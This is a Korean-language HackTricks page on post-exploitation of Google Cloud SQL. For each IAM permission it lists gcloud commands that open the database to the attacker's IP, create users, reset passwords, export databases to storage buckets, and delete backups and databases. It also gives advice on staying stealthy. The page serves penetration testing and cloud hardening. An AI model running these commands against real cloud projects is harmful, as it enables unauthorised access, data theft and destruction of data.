GCP - Cloud SQL Post Exploitation

HackTricks 지원

Cloud SQL

Cloud SQL에 대한 자세한 정보는 다음을 확인하세요:

GCP - Cloud SQL Enum

cloudsql.instances.update, ( cloudsql.instances.get)

데이터베이스에 연결하려면 데이터베이스 포트에 액세스하고 사용자 이름암호를 알면 됩니다. IAM 요구 사항은 없습니다. 따라서, 데이터베이스가 공개 IP 주소를 가지고 있다고 가정하면, 허용된 네트워크를 업데이트하고 자신의 IP 주소를 액세스할 수 있도록 허용하는 것이 쉬운 방법입니다.

# Use --assign-ip to make the database get a public IPv4
gcloud sql instances patch $INSTANCE_NAME \
--authorized-networks "$(curl ifconfig.me)" \
--assign-ip \
--quiet

mysql -h <ip_db> # If mysql

# With cloudsql.instances.get you can use gcloud directly
gcloud sql connect mysql --user=root --quiet

**--no-backup**을 사용하여 데이터베이스의 백업을 방해할 수도 있습니다.

이 요구 사항들이 있기 때문에 cloudsql.instances.connectcloudsql.instances.login 권한이 정확히 무엇을 위한 것인지 확실하지 않습니다. 알고 계시다면 PR을 보내주세요!

cloudsql.users.list

데이터베이스의 모든 사용자 목록을 얻습니다:

gcloud sql users list --instance <intance-name>

cloudsql.users.create

이 권한은 데이터베이스 내에서 새 사용자를 생성하는 것을 허용합니다:

gcloud sql users create <username> --instance <instance-name> --password <password>

cloudsql.users.update

이 권한은 데이터베이스 내의 사용자를 업데이트할 수 있게 합니다. 예를 들어, 비밀번호를 변경할 수 있습니다:

gcloud sql users set-password <username> --instance <instance-name> --password <password>

cloudsql.instances.restoreBackup, cloudsql.backupRuns.get

백업에는 이전 민감한 정보가 포함될 수 있으므로 확인하는 것이 흥미로울 수 있습니다. 데이터베이스 내에서 백업을 복원하세요:

gcloud sql backups restore <backup-id> --restore-instance <instance-id>

더 은밀하게 작업하려면 현재 실행 중인 데이터베이스가 아닌 새 SQL 인스턴스를 생성하고 데이터를 복구하는 것이 좋습니다.

cloudsql.backupRuns.delete

이 권한은 백업을 삭제할 수 있게 합니다.

gcloud sql backups delete <backup-id> --instance <instance-id>

cloudsql.instances.export, storage.objects.create

데이터베이스를 내보내기하여 클라우드 스토리지 버킷에서 액세스할 수 있습니다:

# Export sql format, it could also be csv and bak
gcloud sql export sql <instance-id> <gs://bucketName/fileName>

cloudsql.instances.import, storage.objects.get

클라우드 스토리지 버킷에서 데이터베이스를 가져옵니다 (덮어쓰기):

# Import format SQL, you could also import formats bak and csv
gcloud sql import sql <instance-id> <gs://bucketName/fileName>

cloudsql.databases.delete

데이터베이스를 데이터베이스 인스턴스에서 삭제합니다:

gcloud sql databases delete <db-name> --instance <instance-id>
Support HackTricks

Last updated